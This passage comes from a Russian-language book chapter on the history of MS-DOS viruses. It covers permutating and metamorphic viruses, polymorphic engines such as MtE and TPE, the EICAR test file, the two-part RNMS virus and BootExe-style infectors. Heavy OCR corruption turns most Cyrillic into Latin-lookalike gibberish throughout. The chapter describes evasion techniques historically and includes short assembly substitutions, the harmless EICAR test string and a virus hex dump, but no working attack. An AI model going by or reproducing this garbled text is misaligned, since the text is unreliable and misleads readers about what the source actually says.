kak B Bupyce OneHalf.3544, no 1 ko BceMy nporpaMMHOMY KOJIY BHpYCa.

OpHuM W3 TEePBBIX MPEICTABUTENEN <«HOBOW BOJIHBI» CTaJl BUPYC
Ply.3360. Testo ero paséuto Ha MHOKECTBO OJIOKOB OAUHAKOBOM JJIMHBL,
[IPUYEM KaK/IbIH TAKOH GJIOK COEPIKUT OIHY «3HAUUMYIO» KOMaH/y (KO-
MaH]Ly, BBITOJHSIIOILY 0 KaKOe-HUOY (b BASKHOE [IJIsI aJITOPUTMA JIEHCTBUE),
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«Mycop» (cocrosiuii u3 komans «<NOP») 1, BO3MOKHO, KOMaH/Ly Tiepe-
naun yrpasiaenust («JMP» umun «CALL») na apyroii 6110k, «3Haunmasg»
komanna (mHanpumep, «INC AX») MoxkeT 3aHUMATH JHOOYIO MO3UIIO
BHYTpH 0JI0Ka, a KOMaH/a Tepexo/a yIPaBIeHHst MOKET OTCYTCTBOBATD.
Bor siBa BapraHTa Takoro 6J0Ka:

BapuaHT 1
nop
inc ax

nop ...
jmp LABEL

BapuaHT 2
nop
nop
inc ax
call LABEL

BJioku BHYTPU BUPYCa MOTYT PACIIOJIATaThCsI B JIOOOM TIOPSI/IKE, a Mpa-
BWJIbHAS TTOCJIE/IOBATEBHOCTD MX UCTIOJTHEHWST OPTaHU3YEeTCS TIPU TTOMO-
i komaus <JMP» u «CALL». Camoe y/IuBUTE/IBHOE, UTO B BUPYCE BO-
001Ile HET HUKAKUX ITHU(POBITUKOB U PACITH(POBIIUKOB, a U3 MOA0OHBIX
«BJIOKOB» COCTaBJIEH HE TOJIBKO AJITOPUTM 3aPa’KEHUsI, HO U aJTOPUTM
[epeMeITuBanust OJIOKOB, TO €CTh MPAKTHYECKH Bech BUpyc! 1o u ecTb
MIPUMEHEHUE UIEN <TIePMYTalli» BUPYyCa.

Pasymeercst, mpuHIIMTT pacnio3HaBaHUS KOHKPETHO 3TOTO BUpPYcCa JI0-
BOJIBHO TIPOCT, OCOOEHHO €CJIU UCTIOIB30BATh JIJIST €T0 PEAT3aun OIMH
M3 METOJIOB TOIIATOBOM TPACCUPOBKU. 3aKJII0UAETCS OH B CJCAYIONIEM:
HEOOXO/IMMO, MPOTTYCKAst «MYCOPHbBIE» KOMAHJIbI, IBUTATHCS IO OJIOKaM
B MOPSIJIKE WX UCIOJHEHMS U COOUPATh BMECTE TOJIBKO «3HAUUMBIE> KO-
Mmanzbl. [locsie 3aBeprienns Mpoxoia MHOKECTBO «3HAUMMBIX» KOMAH]
06pasyIoT CTaTHYHBIN «XpebeT> BUPYCa, IPEICTABIISIIONIAN cOOO0M BIIOJTHE
TPAMUITUOHHYIO CUTHATYPY.

BupycommcarensiMu  npeAlpUHAMAINCH HEOMHOKPATHBIE TIOMBITKA
«YCUJINTH» AJITOPUTM TIEPMYTAINN.

Hampuwmep, Bupycol cemeiictea TMC mocieoBaTesibHO, KOMaH/Ia 32
KOMaH/IO}, CTPOUJIM B TIAMSITH CBO#l TIEPMYTUPOBAaHHbIIT 06pas, B POU3-
BOJIbHBII MOMEHT BPEMEHU TO [leJ1ask MPOIycKu (TIPU TIOMOIIM KOMaH/][
«JMP»), To 3a1107HsIs1 3TH IPOITYCKN O4YepeiHbIMU KoMaHaaMu. [Ipu aTom
OHM MCIOJIb30BAJN HAXO/IAIIYIOCS BHYTPU BUPYca 3aM(pPOBAHHYIO CTa-
TUYHYIO TaGJIUILY, COAEPKAIILYIO TO3UIIHI KOMAH]T ¥ UX JITUHBI. TakuM 00-
PasoM, BUPYCHI 9TOrO ceMeiicTBa MPeCTaB/Isin cOO0M BCEro JINIb «Iu0-
PHI»> TIEPMYTHPYIOIIIX BUPYCOB U «O0BIYHBIX> TIOJTUMOPMOUKOB.
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A Bor Bupycs cemeiictBa VCG (Belka u Strelka) takux Tabsui He
coziepsKayiv, HO Bce paBHO, 10 MHeHuto M. J/[ukiieBa, BHyTPU HUX HAXO-
JANJINCDb SB.IHI/I(l)pOBaHHbIe <«OCTPOBKH CTa6I/IJIbHOCTI/I>> — BO-IIEPBbIX, T10-
CTOSAHHbBIE IIPOLIEAYPDHI, PEATU3YIOI[e AJTOPUTM MYyTallMU, BO-BTOPBIX
«CIIPAaBOYHUK 3aMeH», COIJIACHO KOTOPBbIM HEKOTOpble KOMaH/Ibl BUpYyCa
MEHAJINCb Ha CBOU (l)yHKL[I/IOHaJIbeIe 9KBUBAJICHTDI:

; BapuanT 1
mov R1,R2

BapuaHT 2
push R2
xchg R1,R2
pop R2
; BapuaHT 3
sub R1,R1
or R1,R2
; BapuanT 4
xor R1,R1
add R1,R2
; BapuanTt 5
push R2
pop R1
;. BapuaHT 6
mov R1,0
xor R1,R2

Cama 1o cebe ujest «mepmyTaiuis (epeMeNnBaHNSsT) BUPYCHBIX KO-
MaHJ[ GOJIBIIUX TPYAHOCTEH Tiepes BUpycoJjoraMu He cospaer. Ho Bor
€CJIA «CKPECTUTH» ee C hjieeil 3aMeHbl BceX KOMaH/l Ha UX (PYHKI[MOHAJb-
uble akBuBasienTbl, HaIpuMep «XOR AX,AX» na «MOV AX,0», To BO3-
HUKHET UCKJIIOYUTENbHO CIOKHAS IJIST IETEKTUPOBAHUST PA3HOBUIHOCTD
MoJUMOPGUKOB — «<Memamoppuuvies («metamorph») sBupycor [65]. Uro-
pio MyrTuky, ussectaomy Bupycosory 1990-x romoB, IpUIMCHIBAIOT €M-
KOe OolpeiesieHne; «MeTaMopu3M ecTh moanMopbusM, MPUMeHEHHDIT
KO BCeMy BUpPYCHOMY Tejry». B aoxy MS-DOS-1porpamm GbL10 CO3aHO
HE OYeHb MHOTO METaMOP(MHBIX BUPYCOB, [a 1 OOJIBIINX MPOOJIEM TIepe]
AHTUBUPYCHBIMU CIIEIUAIUCTAMU OHU He MTOCTaBuUJIN. PaciiBeT mo1o6HOM
«3apasbly MpUIlesics: Ha pyOesk IBYX BEKOB, Ha 310Xy Windows.

A 4gto xe anTuBupych? Ceifuac, 3aJHUM YUCJIOM, YATAd AaHTUBUPYC-
HbI€ TTPecc-OIJJIETEHN U CTATHU TEX JIET, SKCIIEPUMEHTUPYSI CO CTAPBIMU
AHTUBUPYCaMU, TPYAHO OTAEJIATHCA OT MBICJIN, YTO BUPYCOJIOTY CEPEANHDI
1990-x okazayuch He TOTOBbBI K «10JiMMOpdHOIT peBostiotiuns ! [Torepsiin
AKTYaJIbHOCTh U OBICTPO MCUE3JIU CO CIIEHBI MHOTHE, TIPEKIE OYEHD T10-
[yJISIpHbIE, AHTUBUPYCHbBIE [TPOTPAMMbI. 3aKa4aJuCh YCTOU TAKUX «MOH-
CTPOB» MUPOBO#T aHTHBUPYCHOI nHaycTpun, kak Central Point Software,
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McAfee Associates, DrSolomon, Symantec u npoure. TpaguimoHHbie Me-
TOJIbI IETEKTUPOBAHUS U yIAJICHUSI BUPYCOB, HA KOTOPBIX OBLIN OCHOBAHBI
WX TPOYKTHI, OKA3AIUCh HECOCTOSITENbHBIMU. OOHAPYKUBATDH CJIOKHO-
nosimMopQHbIe BUPYChI UM €lIle Y/IaBaJIOCh (3TO POIILe), a BOT YAAJISITh UX
13 3apaykKeHHbIX (PailJIoB — HET.

Norton Anti¥irus

HepoamoHo MCNDaeKTL dafin
ANIMNEHALFIS4410neH3544 CO_

YpanuTe ero W cronypyiiTe HE3 apameHHyIo
KOMkig 3TOro $anna.

Puc. 3.8 < Norton Antivirus cepeantbl 1990-x ronos
6eccuneH npotue OneHalf.3544

OreuecTBeHHAs BUPYCOJIOTHS TakKe OKa3aIach B HOK/layHe. JHAMEHH-
toiii AidsTest /I. H. JlosuHcKoro, He CIIoCOOHbI 0OHAPYKUBATH CAMOMO-
IpUIIPYIOMYIOCcsS «3apa3ys», X0Ts 1 mpojepskaics 1o ocenn 1997 ropa,
HO JIMIIb B POJIM CTApOM, MUJIOH 1 GecrioyiesHoll «urpymkuy. IIpakTu-
4ecKU OeCCUJIBHBIM TIPOTHB HEKOTOPBIX MOA0OHBIX BUPYCOB OKA3JICI U
komitekT AdInf/AdInfExt. AHTHBUPYCHI TOXKe OKasaJKCh mepes Heob-
XOJIMMOCTBIO PEBOJIIOIIMOHHBIX U3MeHenuit. I onu mpousoriu. MmeHHo
B 1990-x rogax ObuIM paspaboOTaHbl ¥ HAYAIM BHEAPATHCS HOBBIE aHTH-
BUPYCHBIE TEXHOJIOTUU:
O  «PEHTreHOCKONMUPOBAHME» TTOJUMOP(MHBIX BUPYCOB, TO €CTh HC-
MOJIb30BAHNE X MHINBU/IYJIbHBIX YS3BUMOCTEN;

O ympaBisieMoe BBITIOJHEHUE TO03PUTETBHBIX MPOTPAMM, TO €CTh
WX TPACCUPOBKA NN MY JISTIS;

O cHHTaKCUYECKUH TTOAXOJ K AETEKTHPOBAHUIO «TIEPMYTUPYIONTIX»>
BHUPYCOB;

QO IBpPUCTUYECKUIT aHAN3 TTOI03PUTEIBHBIX TIPOTPAMM H T. TI.

IoxpoGHee aTh WAEH U METO/bI, OCHOBaHHBIE Ha HUX, OYIYT PacCMOT-
PEHBI B MTOCJIETHEN TIaBe KHUTH.

3.8.2. NonumopodHbie TexHonornm

ITO cBOEOOPa3HOE «CPEICTBO ABTOMATH3AINUY JIJIST HATIMCAHVS TOJH-
MopdHBIX BUPYcOoB. [lepByio mommmopdHyto TeXHOJOTHIO (<«IBUKOK» )
cosman B 1991 r. Dark Avenger u Hassan ee MtE — Mutation Engine. B te
BPEMEHa HEKOTOPBIE BUPYCOJOTH OBLIN YBEPEHDI, YTO CHAYATIa KTO-TO
Hanucaa noauMopdHbiil Bupyc Pogue, a yx nmorom Dark Avenger Bbize-
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JIUJT U3 HErO aJrOPUTM MYTAIUU B YUCTOM Bujie 1 0(hOPMUJI €ro B BHIE
BHeITHeN OGUOJINOTEKH, KOTOPYIO MOKHO OBLIO TOIKII0YATH K JIOOOMY
BUpYycCy. Bripouem, TpocToil aHa/n3 TEKCTOBBIX CTPOK BHYTPH TeJia BUPY-
ca («MtE 0.90» 1 «TNX2DAV>») naet ocHoBaHUe yTBep:KIaTh, 4TO BCE
IPOUCXOANIIO B TOYHOCTH Hao6opoT. BaskHo 1o, uto 10 MtE noaumopd-
Hble BUPYCHI CO3/aBANCh HanGoJiee ONBITHBIMU BUPYCOIUCATENSIMU, W
uX OBLITO OTHOCUTEIHHO HEMHOTO, & TENIEPh «3apasys» MOJ00HOTO BUIA MOT
«cobpaTh 3 KyOMKOB» KayK/bII sKeJIaIONIi.

B 10BOJTBHO KOPOTKME CPOKU MOSBUIOCH MHOKECTBO BUPYCOB, UCTIOJIb-
3oBaBmux MtE. A moTom cTamm nosiBAsIThCS 1 HOBBIE TOTUMOPQHBIE TeX-
Hosoruu. K cepenune 90-X TOMOB CIOKMIIACH T€TasT «CIEIINATH3AIIIT>
Cpeau BUPYCOMHcATeNel: Co3fiane COOCTBEHHBIX MOJMMOP(MHBIX TeX-
nosioruii. Ceituac ux cyiectByer okosio nonycoriu: MtE, SMEG, TPE,
DAME, LAME, BAME, MiME, AWME... Ho T0/IbKO HEKOTOPbIE U3 HUX,
He 6oJiee II0KUHDI, MOJTYUUIA U3BECTHOCTD 1 TIOCIY KT HHCTPYMEHTOM
JUTSL CO3/IAaHMST CEMENCTB MOTMMOP(hHBIX BUPYCOB.

E. Kacriepckuii mpeickasbIBaj, 9T0 PaHO WK TIO3/THO TOJKHBI ObLIH
TOSTBUTBCST «METATEXHOJIOTHI», TO €CTh aBTOMATU3MPOBAHHBIE TEHEPATO-
pbl nosiumopdubix Texuosoruit. Ho Bupyconucaresism 1o ju kBaiudu-
Kal[l¥ He XBATUJIO, TO JIK IIPOCTO JIEHb 00YsIIa, U 9TOTO He TIPOU3OIILIO.

CireryeT OTMETUTD, YTO IOJUMOPMHBIE TEXHOJIOTTHI MOTYT TPUMEHSITh-
csI He TOJIbKO JIJTsl HAllMCaHWsT BUPYCOB. VI3BeCTHBI ciyyau, KOT/a Mpo-
TPAMMUCTBI TIPH UX TIOMOIIH TIBLITAIICH 3alUTHTD OT AN3acCeMOIMPOBa-
HUS ¥ B3JIOMA CBOM BITOJIHE MUPHBIE CUCTEMHBIE YTHJINTHI M IPUKJIAIHbIE
nporpammbl. Ho anTuBUpPYCHI, KaKk IPaBUIIO, TOBOJBHO «HEPBHO» pearu-
poBasn Ha TIOAOOHBIN «CcUMON03». By/yun 0OBIYHBIM 3aKOHOIOCTY IITHBIM
TOTE30BATEIEM, CTAHETE JIM BBI AepXKaTh ¥ cebst kakyo-unbyns CYDB/I,
PO KOTOPYIO aHTUBUPYC PETYJISpHO coobinaet: «mnonosperre Ha SMEG.
BASED»? Bor nouemy nogo6Has IpakTHKa MIMPOKOrO pacipocTpaHe-
HUS He ToTy4nsia. XOTsl, KOHEYHO, PAIIMOHAJIbHOE 3ePHO B HEll Bce PaBHO
HIPUCYTCTBOBAJIO: TUM He3aaUTMBbIM KCIIEPUMEHTATOPAM [0CTATOUHO
OBLIO MTPOCTO HAIMCATH U UCIOJB30BATh CBOIO, HEU3BECTHYIO aHTUBUPY-
cam TouMopdHyIo TexHosormio. Ho yBbI, aBTOPBI MPUKJIAAHBIX MPO-
rpaMM 0ObIYHO He JIPYsKaT ¢ CHCTEMHBIM TPOTPaMMUPOBAHUEM.

PaccmoTpuM moipobHee OJIHY U3 TUITHYHBIX TOJTNMOPGHBIX TEXHOJIO-
ruii — TPE. Bor nepeBoj (pparmenTa «10KyMeHTAIU», TTPUIOKEHHON
ABTOPOM K CBOEH pa3paboTKe.

TridenT Polymorphic Engine by Masud Khafir [TridenT].

TPE — 3170 MOZY/b, KOTOPbIVI MOXET ObITh BCTABJIEH B MPOrpaMmMbl A5
TOro, 47066l OHY MOV MPOAYLMPOBATL MOJIMMOPGHbIE MPOrpPamMmMel.
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TPE pacnpoctpaHsietcsi kak OBJ-arin. Eciv Bbl XOTUTE BCTaBUTb
TPE B BaLuy nporpamMmy, Bbl OJIKHbI CKOMIOHOBAaThb nx BMecTe... TPE
Aenaer ABe Belun. Bo-nepBbix, OH LUMGPYET OpUrnHasibHbI Kog. 3To
Jenaetcs pasHbiIMy criocobamm Kaxabii pas, koraa TPE Bbi3biBaeT-
csi. Bo-BTOpbiX, A/i15 3TOro0 OH reHepupyeT pacLundpOBbIBAIOLLYHO
npoueaypy... KoHe4YHo, paclunppoBLUVK Takxe ByaeT pas/iMyeH rnpu
kaxaom obpateHun k TPE. TPE MOXEeT reHepupoBaTh Kak rpocTbie
LUNPOBLUMKN, TaK N PaCLUNPPOBLUNKN CO BKIIOHEHHBIMU C/1YHanHO
BbIOPaHHbLIMU «MYCOPHbLIMU» KOMaHAaMu.

B 00beKTHOM MOJYJIE COLEPKATCS KOIbI TPEX IPOLELYD:
O rnd_init — npegHasHaueHa Ui MHUIMAIN3AIUI JaTINKA [ICEBIO0-
CJLy4ailHbIX YnCeJI;

O rnd_get — 510 COOCTBEHHO JATYMK [ICEBAOCAYYANHBIX YHUCEIL,

O crypt — cobeTBeHHO Tpoleaypa HHGPOBAHHSL.

[IpaBura nucnosszosanust TPE ouens mpocter. [Iporenype crypt nepen
BBI30BOM CJIEJIyeT MepeiaTh B PETUCTPaX HEOOXOAUMBIE TTAPaMETPBI: aJpec
(dbparmMenTa, KOTOPbI MOMIEKNT 3amnppoBKe; AIUHY mudpyeMoil 00-
JacTu; azpec 00JacT, B KOTOPYIO OyeT IIoMeleH Koz Pacuii(pOBIINKa;
(braru pe;KUMOB BCTaBKU «MYyCOPa» MKy KOMaHaMK PacHIi(pPOBIITIKA
u nipouee. CreHepUpOBaHHbIH MOJUMOPQHBII paciuGpoBIHK OYAET CO-
CTOSITH M3 HECKOJIbKIX JIECSITKOB KOMAH/I M BBITJISIZIETD IOBOJIBHO 3aITyTaH-
HBIM JIJIs «9€JIOBEYECKOTO» TJ1a3a. TeM He MeHee HCII0JIb30BaHue B BUPYCax
kak TPE, Tak n aApyrux nommMophHBIX TEXHOJIOTUI HUYeM He 3aTPYAHSIeT
uX 0GHAPYKAEMOCTb U YAAJISIEMOCTD CO CTOPOHBI COBPEMEHHBIX aHTUBHUDY -
COB, IO CPABHEHUIO C «TPAAUIIHNOHHBIMIY TOJTUMOPMHKAMU.

3.9. HeobblvHbIe ¢ainnoBble BUPYCHI
ana MS-DOS

Imo GvLr 6nosHe NPUIUUHBIL MY3ell — CO CMeH-

oamu, OuazpamMmamii, BUMPUHAMU, MAKEMAMU U

myascamu. Obuguil 6uod 6oaee 6cezo HANOMUNAL

MY3etl KPUMUHATUCTIUKU: MHO20 (homozpaull u
HeannemummvLx KCNOHAMOB.

A.u B. Crpyrartxue.

«[TonenenpbHIK HAYMHAETCS B CYyOOOTY>

B npunnuie, «counHeHne» BUPYCOB — 9TO TOXKE «TBOpYeCcKas paboTas.
Bo Bce BpeMeHa <«aJIUTOl» CPeit BUPYCOMUCATENel CUMTANICH T€, KTO
n300peTas U UCTI0JIb30BaJ HEOOBIUHbBIE TEXHOJIOTUN PA3MHOKEHUSI, TIPHU-
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MEHSIJI HeCTaH/IapTHBIE ITPUeMbl IIporpaMMUpoBanns. Pe3ysibTaTsl X pa-
GOTBI 3aHUMAIOT MECTO HE B «IIBILHBIX 3ATIACHUKAX», & HA «CBEPKAIOIUX
BUTPUHAX> JIFOOBIX BUPYCHBIX KOJLIEKITHIL.

3.9.1. «He-Bupyc» Eicar

B navasie 90-x rogoB XX Beka wieHaMU « EBPOTIEiCKOTO MHCTUTYTA aHTH-
BUPYCHBIX uccaenoBanuit> (cokparierro «EICAR») Obur paspaboran
<JIOJKHBIH BUPYyC» — (hails1, cofiepKallnii 04eHb KOPOTKYIO 1 COBEPIIEHHO
6esspeanyio COM-nporpammy. Ecim ee 3amycruTb, TO OHa IIPOCTO BbI-
Bezer Ha axpan coobuenne «EICAR-STANDARD-ANTIVIRUS-TEST-
FILE!> u saBeputurcst. [IpeaHasHadeH ObLT 3TOT «JIOKHBIH BUPYC» [IJIst
TECTUPOBaHUs PabOTOCIIOCOOHOCTH AHTUBUPYCOB PAa3JIMUHBIX IPOU3BO-
JTeJIel: KasK/blii aHTUBUPYC 00si3aH ObLI yMeThb OOHApPYKUBATh U Pac-
[MO3HABATh ATOT (DAl U pearupoBaTh Ha HETO TaK, KaK OOBIYHO PEarupyer
Ha HACTOAIINUN BUPYC. «JledeHnut0» 3TOT «JIOKHBIN BUPYC», Pa3yMeeTCs,
He MOJIJIERKAL.

¥V 370l IpOrpaMMBbI €CTh OjiHa 3abaBHast 0COOEHHOCTD: YHUCJIOBbIE 3HA-
yeHUsT BeeX 68 6aliTOB, COCTABIISIIONINX €€, SIBJSIIOTCS KOJMaMu OOJIBIITHX
OYKB JIATHHCKOTO aji(haBUTa U HEKOTOPHIX 3HAKOB. Ee MOKHO <«H3roTO-
BUTb» B OOBIYHOM TEKCTOBOM pPeJaKTOpe:

X50! P%@AP[4\PZX54(P~)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE! $H+H=

Kcrarty, Hanucanue nporpaMM B TaKOM CTUJIE I0BOJILHO HETPUBUAJIb-
1o, 160 aBTOPY Tpebyercst yOUTH cpasy ABYX 3afllieB: ¢ OMHON CTOPOHHDI,
TP TTOMOTIH Y3KOTO Habopa MAITHHHBIX KOMAH/[ CO «3BYYalMIT» KOJa-
Mu c(hOpPMHUPOBATH TPEGYEMBIH TEKCT; ¢ APYTOH — 0GECTIEUNTD BBITIOTHE-
Hue xesaeMoro ajnropurma. «IloaBur» eBporeiickux BUPYCOJIOTOB ya-
JIOCh TIOBTOPUTH HEMHOTHM, HampumMep aBropy Bupyca Populizer.313, u
BOT KaK BBITJISINT AMII €T0 Ha4albHOTO hparmMenTa (0OpaTnuTe BHUMAHIIE
Ha TEKCTOBbIE CTPOKHU, KOTOPbIE OZIHOBPEMEHHO SBJISAIOTCS UCIIOTHAEMbIM
BUPYCHBIM KoZioM!):

43 4F 4D 50-55 54 45 52 5F 56 49 52-55 53 5F 43 COMPUTER_VIRUS_C
4C 55 42 5F-27 53 54 45 41 4C 54 48-27 5F 4B 49 LUB_"STEALTH' KI

45 56 2E 5F-56 49 52 55 53 5F 53 4D-41 4C 4C 33 EV'_VIRUS_SMALL3
2E 5F 57 52-49 54 54 45 AE 5F 42 59-5F 50 4F 50 ' _WRITTEN_BY_POP

[Inu roaer, antuBupych ucrpasuo pearnpoBann Ha «EICAR.COM»
(¥ IPOOJIKAIOT [Ie1aTh 3TO /10 CUX TI0P), HO IMMOCTENIEHHO BBISICHUIIOCH,
YTO TOPa3/lo MHTepecHee MPOCIEANTh, KaK HA 9Ty MPOrPaMMy pearmpy-
10T TI0JTb30BATEIN. A OHM PearnpyioT o4eHb HEPBHO. YBUIEB Ha d9KpaHe
coobmenne Tuna «O6Hapysken Tecrosbiii daili EICAR. He Gecriokoii-
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Tech, 9TO He BUPYC!», 10JIb30BaTe/I TeM He MeHee OObIYHO HAYMHAIOT
HEpBHUYATH, 6POCAIOT PadOTY 1 MBITAIOTCA BBIACHUTH Y KOJLIET «CIOCO0
UCIeJIEHUS 9TON HerusIeynuMoil 3apasbl». Jlo cux 1mop He peKOMEeHIyeTCs
MOCBLJIATH JIAHHBIN (PAJI 110 3JIEKTPOHHON MOUTE B BUJIE IBOUYHOTO BJIO-
JKEHUS B JIEKTPOHHOE MUCbMO — aHTUBUPYCHBIE (DUIBTPHI TIPOBali/iepa,
HACTPOEHHbBIE «OAUTEIbHBIMUY aIMIHAMU, MOI'YT HE TOJIBKO «IPOXHYTb»
BCe THUCHBMO IEJUKOM, HO ellle W 3aHeCTH Balll aJipec B CBOU «4YEPHBIN
CITUCOK».

[la, npas 6611 Beccesn BonyeB: camblii CTpallHblil BUPYC — 9TO TPYC-
JIUBBIHT TTOJTb30BaTe b, OT cebs 106aBUM: U aJIMUH — TOXKe!

3.9.2. «[iBynonbiii» BUPYC

«KomrmbioTepHblil BUpyc — 9T0 1porpaMma, KoTopast yMeeT pa3MHOKaTh-
csi», — 3asBiistt Open Koan. Mbl yrke 3HaEM, 9TO HEPEIKO KOMITBIOTEPHDIE
BUPYCHI 00JIaII0T U PYTUME CBOHCTBAMU, XapaKTEPHBIMU It GUOJIOTH-
YeCKUX OOBEKTOB: HAIIPUMEP, TIOJTUMOPMHbBIE BUPYChl YMEIOT B MIMPOKUX
npesiesax BUIOM3MEHSATD CBOIO «BHEITHOCTD>.

Ho uspenka BcrpeyaioTes BUPYChl, KOTOPbIE IIBITAIOTCA MOJIEIMPOBATDH
npyrue, bosee cJoKHbIE (DOPMBI TOBEIEHNS JKUBBIX cytiiecTs. Hampumep,
Bupyc RNMS nmutupyer rosoBoe padMHOKeHUE, XapaKTEPHOE 17151 BbIC-
MIMX OPTaHNU3MOB.

OH cocTONT U3 [IByX HE3aBUCUMBIX PE3UAECHTHBIX KOMIIOHEHTOB!
RNMS.MW.Man.297 1 RNMS.MW.Woman.353. CraproBas 13 3apa-
JKEHHOU TIPOTPAMMBbI, KaXKbII 13 KOMITOHEHTOB TIEPBBIM JIEJIOM ITPOBEPSi-
eT HaJINYKE B OMEPATUBHON MAMSTH CBOETO PE3UAECHTHOTO 06paboTUnKa
npepbiBanus 21h 1 pu HEOGXOAMMOCTH yCTaHABIUBAET 3TOT 06paboT-
uynk. Ho 00paboTuuky «MyKCKOI» 1 «KEHCKOI» [OJOBUHOK YCTPOEHBI U
BeyT cebst To-pasHOMY. « My KCKOI» 06paboTUNK pearupyeT Ha 3aIlyCKu
JIFOOBIX MPOTPAMM, BBITIOJIHsIEMbIe 1pu oMot (yukiwn 4Bh mpepoisa-
rvst 21h, 1 poBepsieT UxX Ha BO3SMOKHOCTH 3apaskeHust. Beses 3a 5Tum on
nocebiaet (Bce yepes 1o ke npepbiBanue «INT 21hs) cBoeil «mompyres
JIaHHbIE O MOTEHIMATBHON KepTBe. «JKeHckuii» 06pabOTYMK, TTOSYINB
9Ty MH(OPMAIIUIO, BHEAPSIET B KEPTBY BUPYCHBIH KO — JTUO0 «MaIbuki-
Ka», 100 <IEeBOYKY>.

O6a 9T KOMITOHEHTA MOTYT PACTIPOCTPAHATHCS C MATITHHBI HA MATITITHY
BMecCTe C 3apaKeHHbIMU (DailjlaMu He3aBUCUMO JIpyT OT apyra. Ho pas-
MHO’KEHHUE BUPYyCa TPOU30HIET TOJIbKO B TOM CJIydae, ecIM Ha KaKOW-HU-
Oy /b MAIlIMHE OKAXKYTCS 3AMYMIEHHBIMU cpasy 00e MoAn(UKAINT BUPYCA.
[Toaromy, ecain cMOTpeTh (HOPMAIILHO, HI OIMH U3 OT/EIbHO B35 ThIX KOM-
MTOHEHTOB BUPYCOM He SIBJISTETCS!
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TMogpoGHee TeOpHI0 U TIPAKTHKY KOMIBIOTEPHOTO MOJEIUPOBAHUS
JKU3HU MBI PACCMOTPUM B TOCJIE/THE IJ1aBe KHUTH.

3.9.3. daitnoBo-3arpy3o4Hblie BUPYChI

DaiinoBo-3arpy30YHble BUPYChI — OJIHA U3 CJIOKHBIX Pa3HOBUIHOCTEN
KOMIIBIOTEPHOI «3apa3bl». DOJBITUHCTBO CJIOKHOTIOIUMOP(MHBIX BUPY-
coB cepeannbl 90-x ronos XX Beka, Bkaiouass OneHalf.3544, Kaczor.4444,
Natas, Nutcracker, RDA.Fighter u npoune, OTHOCHJIICh UMEHHO K 9TOU
PasHOBUIHOCTHU. B Te BpeMeHa yMeHHUe HAllUCaTh O00HDIN BUPYC SIBJIsI-
JIOCH IIPU3HAKOM HaMBBICIIEH BUPYCONUCATEIbCKON KBATUMUKAIUH.

CoOCTBEHHO TOBOPSI, €CJM PACCMATPUBATh <«IIOJOBUHKW» TAKOTO BU-
PYCHOTO «KeHTaBpa» MO OTAEILHOCTH, TO OHU HIUYETO 0COOEHHOTO COGOM
He TpeACTaBAsIoT. Tunuanbiii (haii;IoBO-3arpy304HbIE BUPYC CTapTyeT
Kak u3 (haiioB, TaK U U3 3arPy30YHBIX CEKTOPOB TUCKET U BUHYCCTEPOB.
Haxozasich B pe3uieHTHOM COCTOSIHWM, OH IlepeXBaTblBaeT [PepbIBaHUs
21h u 13h, 61arozaps yemy criocober nHGUIUPOBATH KaK OObIYHbIE IIPO-
rpaMMBbl, TaK 1 3arpy304HbIe 3AIMCH JIUCKET.

Camoe nHTepecHoe u HeoObIuHOE B (DallJIOBO-3arPy30UHBIX BUPyCaxX —
9TO TO, KAKUM 00Pa30M OHU, CTAPTYsi ¢ UH(DUITUPOBAHHO TUCKETHI, yMY/I-
PAIOTCS B JaJIbHEIIIEM MepexBaTuTh Takke mpepbiBatue 21h, Beap oHo
CTAHOBUTCS aKTYaJIbHBIM JIUIIb TTOCJI€ HOPMAJIBbHOTO 3aBEPIICHUS 3arpy3-
KU OIIepallMOHHOM CUCTEMBI.

Jliist TOro 4TOOBI BBIMOJHUTE 3TY OIEPAIluio, THIIMYHBIH (ailioBo-3a-
IPY304YHbBII BUPYC, UHCTAJJIUPYSICh B <OTKYCAHHBII» (hparMeHT oriepaTuB-
HOI TaMsITH, BMecTe ¢ TipepbiBaiueM 13h mepexBarbiBaet TaksKe MpepbiBa-
aue 8 (umu 1Ch), rerepupyemMoe CUCTEMHBIM TAMEPOM KOMITBIOTEPA TI0
ymosuanuio 18,2 pasa B cexyHy. Teriepb BUpyc 1osiydaeT BO3MOKHOCTD
PETYJIIPHO <IPOCBITIATLCST» W MPOBEPSATH, HE 3aBEPIIMJIACH JIM 3arpy3Ka
OMEPaIMOHHON CUCTEMBI U HE TIOpa JIN MepexBaThiBaTh mpepbiBanue 21h.

[lpyras, He MeHee UHTepeCcHast PAa3HOBUIHOCTD (DAIlIOBO-3aTPy30UHbBIX
BUPYCOB BOOOIIle He TiepexBaThiBaeT mpepbiBanust 21h, HO Tem He MeHee
BCE PaBHO CIIOCOOHA BHEAPATHCS B TIPOrpaMMHbIe (dhaiiibl. Peub et o Bu-
pycax cemeiictBa BootExe.

PaboTa Takux BHPYCOB OCHOBaHA Ha CJEAYIONMX OOCTOSTENbCTBAX.
PaciipocrpaneHHble KOMIIOHOBIUKK 3arpy304HbIX MozyJieit Microsoft
Link u Borland TLink 1pu nocrpoennn EXE-niporpaMm pesepBUpYIOT
10/ 3ar0JIOBOK Takol mporpamMMbl 512 6aiiToB, Torga Kak 1moJje3Hast WH-
bopmaims 3aHuMaeT B 3TOM (hparMeHTe HIUTOKHO MATYIO YaCTh — BCETO
28 GaiitoB. Takum obpasom, EXE-1iporpamma, creHepupoBaHHAsT STUMU
KOMITOHOBIIIUKAMHE, COIEPKUT BHYTPU JOCTATOUHO OOJBIIYI0 HEUCIIOJb-
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30BaHHY10 06JIACTh, 3ATIOJHEHHYIO HYJIAMHU, TPUYEM 9Ta 00J1aCTh PactoJia-
raetcs B IIepBOM JIUCKOBOM cekTope (aiina. Bupycsl cemeiictBa BootExe
CKaHUPYIOT BCE CYUTBIBAEMBIE C IMCKA CEKTOPBI HA HAJTMYME B HUX XapaK-
TepHOIi curHaTypbl 'MZ' 1 60JbII0r0 KoJImYecTBa Hyeit. [Ipu yemenHom
oOGHAPY/KEHUN OHU 3alUCHIBAIOTCS B TaKO# CEKTOp, He 3a6bIB MOAMDU-
LUPOBATh PACIOJIOKEHHbIE B HeM HeoOxoxumble mojsa EXE-zaronoska.
B pesysapraTe mporpamMma OKa3bIBaeTCs 3apaskeHHOM, HO JITMHA ee 0CTa-
eTcs1 IpeskHeit!

K cuacrbio, mporpamm, npurojinbix /i 3apaxkenus BootExe-supyca-
MU, He TaK MHOTO. KOMIIOHOBIIMKHN TIPOTPAMM, CO3/1aBAEMbBIX CPEJCTBAMNI
A3BIKOB BBICOKOTO ypoBHS THia Cu uin Ilackasnd, He ocTaB/sjiv BHYTpU
